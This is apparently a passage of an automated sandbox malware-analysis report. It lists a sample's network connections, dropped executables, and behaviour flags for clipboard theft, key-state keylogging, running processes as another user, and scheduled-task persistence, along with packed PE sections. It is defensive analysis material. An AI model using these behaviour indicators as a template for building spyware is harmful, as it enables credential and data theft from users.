Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49759 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:49767 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49773 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:49779 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:49780 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49813 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.4:49814 version: TLS 1.2
Source: unknown HTTPS traffic detected: 52.222.236.23:443 -> 192.168.2.4:49815 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.4:49823 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49826 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49825 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49824 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:49908 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49920 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49926 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49944 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49961 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49974 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:49978 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49989 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:49998 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50001 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50004 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50011 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50013 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50014 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50012 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50023 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50026 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50033 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50045 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50047 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50049 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:50051 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50062 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50073 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50076 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50077 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50104 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50106 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50110 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50111 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:50109 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:50113 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50115 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50116 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50117 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50118 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50120 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50122 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50124 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50127 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:50130 version: TLS 1.2
Contains functionality for read data from the clipboard
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_0022EAFF OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard, 6_2_0022EAFF
Contains functionality to modify clipboard data
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_0022ED6A OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard, 6_2_0022ED6A
Contains functionality to read the clipboard data
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_0022EAFF OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard, 6_2_0022EAFF
Contains functionality to retrieve information about pressed keystrokes
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_0021AA57 GetKeyboardState,SetKeyboardState,PostMessageW,SendInput, 6_2_0021AA57
Potential key logger detected (key state polling based)
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_00249576 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW, 6_2_00249576

System Summary
barindex
Binary is likely a compiled AutoIt script file
Source: 4V88JM9ZW2IZ0ZQGW7B.exe String found in binary or memory: This is a third-party compiled AutoIt script.
Source: 4V88JM9ZW2IZ0ZQGW7B.exe, 00000006.00000000.1953763207.0000000000272000.00000002.00000001.01000000.00000009.sdmp String found in binary or memory: This is a third-party compiled AutoIt script. memstr_6e8a6a9c-7
Source: 4V88JM9ZW2IZ0ZQGW7B.exe, 00000006.00000000.1953763207.0000000000272000.00000002.00000001.01000000.00000009.sdmp String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer memstr_58b46f40-a
PE file contains section with special chars
Source: file.exe Static PE information: section name:
Source: file.exe Static PE information: section name: .rsrc
Source: file.exe Static PE information: section name: .idata
Source: KGMUJDGOAL6LWD7UD45LIZ.exe.0.dr Static PE information: section name:
Source: KGMUJDGOAL6LWD7UD45LIZ.exe.0.dr Static PE information: section name: .idata
Source: KGMUJDGOAL6LWD7UD45LIZ.exe.0.dr Static PE information: section name:
Source: 2SGVUOBNN8HUJ5IDUWDR.exe.0.dr Static PE information: section name:
Source: 2SGVUOBNN8HUJ5IDUWDR.exe.0.dr Static PE information: section name: .rsrc
Source: 2SGVUOBNN8HUJ5IDUWDR.exe.0.dr Static PE information: section name: .idata
Source: 2SGVUOBNN8HUJ5IDUWDR.exe.0.dr Static PE information: section name:
Source: skotes.exe.4.dr Static PE information: section name:
Source: skotes.exe.4.dr Static PE information: section name: .idata
Source: skotes.exe.4.dr Static PE information: section name:
Source: random[1].exe.26.dr Static PE information: section name:
Source: random[1].exe.26.dr Static PE information: section name: .rsrc
Source: random[1].exe.26.dr Static PE information: section name: .idata
Source: 9b7d422018.exe.26.dr Static PE information: section name:
Source: 9b7d422018.exe.26.dr Static PE information: section name: .rsrc
Source: 9b7d422018.exe.26.dr Static PE information: section name: .idata
Source: random[1].exe0.26.dr Static PE information: section name:
Source: random[1].exe0.26.dr Static PE information: section name: .rsrc
Source: random[1].exe0.26.dr Static PE information: section name: .idata
Source: random[1].exe0.26.dr Static PE information: section name:
Source: a4769912c1.exe.26.dr Static PE information: section name:
Source: a4769912c1.exe.26.dr Static PE information: section name: .rsrc
Source: a4769912c1.exe.26.dr Static PE information: section name: .idata
Source: a4769912c1.exe.26.dr Static PE information: section name:
Source: 48bf814d33.exe.26.dr Static PE information: section name:
Source: 48bf814d33.exe.26.dr Static PE information: section name: .rsrc
Source: 48bf814d33.exe.26.dr Static PE information: section name: .idata
Source: 7617eef03d.exe.26.dr Static PE information: section name:
Source: 7617eef03d.exe.26.dr Static PE information: section name: .rsrc
Source: 7617eef03d.exe.26.dr Static PE information: section name: .idata
Source: 7617eef03d.exe.26.dr Static PE information: section name:
Source: 20b68761b3.exe.26.dr Static PE information: section name:
Source: 20b68761b3.exe.26.dr Static PE information: section name: .rsrc
Source: 20b68761b3.exe.26.dr Static PE information: section name: .idata
Source: 572c19a989.exe.26.dr Static PE information: section name:
Source: 572c19a989.exe.26.dr Static PE information: section name: .rsrc
Source: 572c19a989.exe.26.dr Static PE information: section name: .idata
Source: 572c19a989.exe.26.dr Static PE information: section name:
Source: 66c6d84346.exe.26.dr Static PE information: section name:
Source: 66c6d84346.exe.26.dr Static PE information: section name: .rsrc
Source: 66c6d84346.exe.26.dr Static PE information: section name: .idata
Source: 768041f87c.exe.26.dr Static PE information: section name:
Source: 768041f87c.exe.26.dr Static PE information: section name: .rsrc
Source: 768041f87c.exe.26.dr Static PE information: section name: .idata
Source: 768041f87c.exe.26.dr Static PE information: section name:
Source: GA69253C3MXNERTO3N2QC0.exe.27.dr Static PE information: section name:
Source: GA69253C3MXNERTO3N2QC0.exe.27.dr Static PE information: section name: .idata
Source: GA69253C3MXNERTO3N2QC0.exe.27.dr Static PE information: section name:
Source: OCYPTLCO9AJSRPZ2BR0OXVLD.exe.27.dr Static PE information: section name:
Source: OCYPTLCO9AJSRPZ2BR0OXVLD.exe.27.dr Static PE information: section name: .rsrc
Source: OCYPTLCO9AJSRPZ2BR0OXVLD.exe.27.dr Static PE information: section name: .idata
Source: OCYPTLCO9AJSRPZ2BR0OXVLD.exe.27.dr Static PE information: section name:
Source: PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe.30.dr Static PE information: section name:
Source: PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe.30.dr Static PE information: section name: .idata
Source: PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe.30.dr Static PE information: section name:
Source: 9ZQAVS2HIFCJRZ8VYRAJ0X35HFUX.exe.30.dr Static PE information: section name:
Source: 9ZQAVS2HIFCJRZ8VYRAJ0X35HFUX.exe.30.dr Static PE information: section name: .rsrc
Source: 9ZQAVS2HIFCJRZ8VYRAJ0X35HFUX.exe.30.dr Static PE information: section name: .idata
Source: 9ZQAVS2HIFCJRZ8VYRAJ0X35HFUX.exe.30.dr Static PE information: section name:
Source: B9LAVL77AEHW335N4SC7G6A3335WY1I.exe.31.dr Static PE information: section name:
Source: B9LAVL77AEHW335N4SC7G6A3335WY1I.exe.31.dr Static PE information: section name: .idata
Source: B9LAVL77AEHW335N4SC7G6A3335WY1I.exe.31.dr Static PE information: section name:
Contains functionality to communicate with device drivers
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_0021D5EB: CreateFileW,DeviceIoControl,CloseHandle, 6_2_0021D5EB
Contains functionality to launch a process as a different user
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_00211201 LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,GetProcessHeap,HeapFree,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock, 6_2_00211201
Contains functionality to shutdown / reboot the system
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_0021E8F6 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState, 6_2_0021E8F6
Creates files inside the system directory
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe File created: C:\Windows\Tasks\skotes.job Jump to behavior
Detected potential crypto function
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181ABC 0_3_01181ABC
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181ABC 0_3_01181ABC
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181ABC 0_3_01181ABC
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_011818B4 0_3_011818B4
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_011818B4 0_3_011818B4
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_011818B4 0_3_011818B4
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181AFC 0_3_01181AFC
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181AFC 0_3_01181AFC
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181AFC 0_3_01181AFC
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181ABC 0_3_01181ABC
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181ABC 0_3_01181ABC
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181ABC 0_3_01181ABC
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_011818B4 0_3_011818B4
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_011818B4 0_3_011818B4
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_011818B4 0_3_011818B4
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181AFC 0_3_01181AFC
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181AFC 0_3_01181AFC
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181AFC 0_3_01181AFC
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181ABC 0_3_01181ABC
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181ABC 0_3_01181ABC
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181ABC 0_3_01181ABC
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_011818B4 0_3_011818B4
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_011818B4 0_3_011818B4
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_011818B4 0_3_011818B4
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181AFC 0_3_01181AFC
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181AFC 0_3_01181AFC
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181AFC 0_3_01181AFC
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181ABC 0_3_01181ABC
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181ABC 0_3_01181ABC
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181ABC 0_3_01181ABC
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_011818B4 0_3_011818B4
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_011818B4 0_3_011818B4
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_011818B4 0_3_011818B4
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181AFC 0_3_01181AFC
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181AFC 0_3_01181AFC
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181AFC 0_3_01181AFC
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181ABC 0_3_01181ABC
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181ABC 0_3_01181ABC
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181ABC 0_3_01181ABC
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_011818B4 0_3_011818B4
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_011818B4 0_3_011818B4
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_011818B4 0_3_011818B4
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181AFC 0_3_01181AFC
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181AFC 0_3_01181AFC
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181AFC 0_3_01181AFC
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181ABC 0_3_01181ABC
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181ABC 0_3_01181ABC
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181ABC 0_3_01181ABC
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_011818B4 0_3_011818B4
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_011818B4 0_3_011818B4
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_011818B4 0_3_011818B4
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181AFC 0_3_01181AFC
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181AFC 0_3_01181AFC
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181AFC 0_3_01181AFC
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181ABC 0_3_01181ABC
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181ABC 0_3_01181ABC
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181ABC 0_3_01181ABC
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_011818B4 0_3_011818B4
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_011818B4 0_3_011818B4
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_011818B4 0_3_011818B4
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181AFC 0_3_01181AFC
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181AFC 0_3_01181AFC
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181AFC 0_3_01181AFC
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181ABC 0_3_01181ABC
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181ABC 0_3_01181ABC
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181ABC 0_3_01181ABC
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_011818B4 0_3_011818B4
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_011818B4 0_3_011818B4
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_011818B4 0_3_011818B4
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181AFC 0_3_01181AFC
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181AFC 0_3_01181AFC
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181AFC 0_3_01181AFC
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181ABC 0_3_01181ABC
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181ABC 0_3_01181ABC
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181ABC 0_3_01181ABC
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_011818B4 0_3_011818B4
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_011818B4 0_3_011818B4
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_011818B4 0_3_011818B4
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181AFC 0_3_01181AFC
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181AFC 0_3_01181AFC
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181AFC 0_3_01181AFC
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_001BBF40 6_2_001BBF40
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_00222046 6_2_00222046
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_001B8060 6_2_001B8060
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_00218298 6_2_00218298
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_001EE4FF 6_2_001EE4FF
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_001E676B 6_2_001E676B
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_00244873 6_2_00244873
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_001DCAA0 6_2_001DCAA0
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_001BCAF0 6_2_001BCAF0
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_001CCC39 6_2_001CCC39
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_001E6DD9 6_2_001E6DD9
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_001CB119 6_2_001CB119
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_001B91C0 6_2_001B91C0
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_001D1394 6_2_001D1394
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_001D1706 6_2_001D1706
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_001D781B 6_2_001D781B
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_001B7920 6_2_001B7920
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_001C997D 6_2_001C997D
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_001D19B0 6_2_001D19B0
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_001D7A4A 6_2_001D7A4A
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_001D1C77 6_2_001D1C77
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_001D7CA7 6_2_001D7CA7
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_0023BE44 6_2_0023BE44
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_001E9EEE 6_2_001E9EEE
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_001D1F32 6_2_001D1F32
Found potential string decryption / allocating functions
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: String function: 001CF9F2 appears 31 times
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: String function: 001D0A30 appears 46 times
Uses 32bit PE files
Source: file.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: file.exe Static PE information: Section: ZLIB complexity 0.9995165532178217
Source: KGMUJDGOAL6LWD7UD45LIZ.exe.0.dr Static PE information: Section: ZLIB complexity 0.9979351158038147
Source: KGMUJDGOAL6LWD7UD45LIZ.exe.0.dr Static PE information: Section: evwdyikk ZLIB complexity 0.9947683942249925
Source: 2SGVUOBNN8HUJ5IDUWDR.exe.0.dr Static PE information: Section: yuntpzro ZLIB complexity 0.9950741505841467
Source: skotes.exe.4.dr Static PE information: Section: ZLIB complexity 0.9979351158038147
Source: skotes.exe.4.dr Static PE information: Section: evwdyikk ZLIB complexity 0.9947683942249925
Source: random[1].exe.26.dr Static PE information: Section: ZLIB complexity 0.9995165532178217
Source: 9b7d422018.exe.26.dr Static PE information: Section: ZLIB complexity 0.9995165532178217
Source: random[1].exe0.26.dr Static PE information: Section: yuntpzro ZLIB complexity 0.9950741505841467
Source: a4769912c1.exe.26.dr Static PE information: Section: yuntpzro ZLIB complexity 0.9950741505841467
Source: 48bf814d33.exe.26.dr Static PE information: Section: ZLIB complexity 0.9995165532178217
Source: 7617eef03d.exe.26.dr Static PE information: Section: yuntpzro ZLIB complexity 0.9950741505841467
Source: 20b68761b3.exe.26.dr Static PE information: Section: ZLIB complexity 0.9995165532178217
